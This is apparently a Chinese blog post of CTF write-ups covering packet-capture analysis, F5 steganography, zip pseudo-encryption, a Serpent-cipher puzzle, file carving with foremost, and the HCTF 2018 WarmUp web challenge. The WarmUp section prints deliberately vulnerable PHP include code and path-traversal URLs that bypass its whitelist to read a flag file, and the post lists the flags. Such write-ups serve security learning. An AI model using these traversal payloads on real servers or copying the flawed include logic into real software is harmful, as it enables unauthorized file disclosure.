写报告没思路了
来写写CTFWriteup


被劫持的神秘礼物

有问题,找度娘?

直接下载打开我们的礼物

看了一下,只有少部分http
直接过滤进行追踪流

直接追踪流看一下咯

账号admina加密码adminb做32位小写md5

所以这题的答案是flag{1d240aafe21a86afc11f38a45b541a49}

刷新过的图片

这次让我们来看一下题目
图片被刷新?F5那种刷新吗?

下载解压看一下发现他😋

自己用了各种方法刷新都没用
结果在度娘上

发现了一个F5-steganography加密的南北

1
https://github.com/matthewgao/F5-steganography

我们直接在Kali上把他git下来
P.S.这个工具需要java环境
只要执行下面指令就可以提取文件

1
java Extract Misc.jpg

最后我们在工具目录找到了一个output.txt

啊这,这还是一个压缩包呀
直接解压,哎呀~居然有密码

我们用winhex看看怎么回事

哈哈哈,猜对了,伪加密啊
06位从0100就OK啦

直接解压,头部错误?
不管了,能看到flag.txt就行了

所以这题的答案就是
flag{96efd0a2037d06f34199e921079778ee}

snake

打开真的就一条蛇?

图片题,三板斧

不会有五个压缩包吧
丢到binwalk跑一下
希望没有密码吧

解压看到一个key

1
V2hhdCBpcyBOaWNraSBNaW5haidzIGZhdm9yaXRlIHNvbmcgdGhhdCByZWZlcnMgdG8gc25ha2VzPwo=

base64解码得到

1
What is Nicki Minaj's favorite song that refers to snakes?

我们这些半桶水Chinglish就根本看不懂了

根据提示查一下

那有可能是anaconda
但是cipher那个文件好像被加密那

大佬提示我蛇的英文还有serpent
同时它也是一种加密方式
在线加解密网站

1
http://serpent.online-domain-tools.com/

直接一把梭

解压出来的结果

所以这题的答案就是flag{who_knew_serpent_cipher_existed}

[BJDCTF2020]认真你就输了

一打开就是一个excel

看了一下没什么可以扩展的
直接上kali

看起来很多,但是什么都没有

正当我百思不得其解时
大佬提示我要用foremost

1
sudo apt install foremost

直接对它执行
弹出看似一堆乱码

直接打开目标文件

[HCTF 2018]WarmUp

今天就来一条热身题吧

我们一打开就看到一张滑稽脸

我们来看一下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<!--source.php-->

<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>

直接把Url改成

1
http://<domain>:<port>/source.php

我们就可以看到真正要我们warmup的题了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

根据这一端代码

我们把Url改一下

1
http://<domain>:<port>/hint.php

既然这样不行的话
我们就看看判断语句
要怎么去满足

1
2
3
4
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
)

且只有满足上面三个语句
我们才能include $_REQUEST['file']

然后我们结合这条语句来看

1
$whitelist = ["source"=>"source.php","hint"=>"hint.php"]

通过上面的语句
但还发现截取有问题,因为

1
2
3
4
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')

所以我们来构造语句
因为ffffllllaaaagggg
所以应该用/../../../../来绕过

1
http://<domain>:<port>/?file=hint.php?/../../../../ffffllllaaaagggg

或者

1
http://<domain>:<port>/source.php?file=source.php?/../../../../ffffllllaaaagggg

所以这一题的答案就是
flag{8a533e5c-fff3-47fc-b156-336ddb0222a0}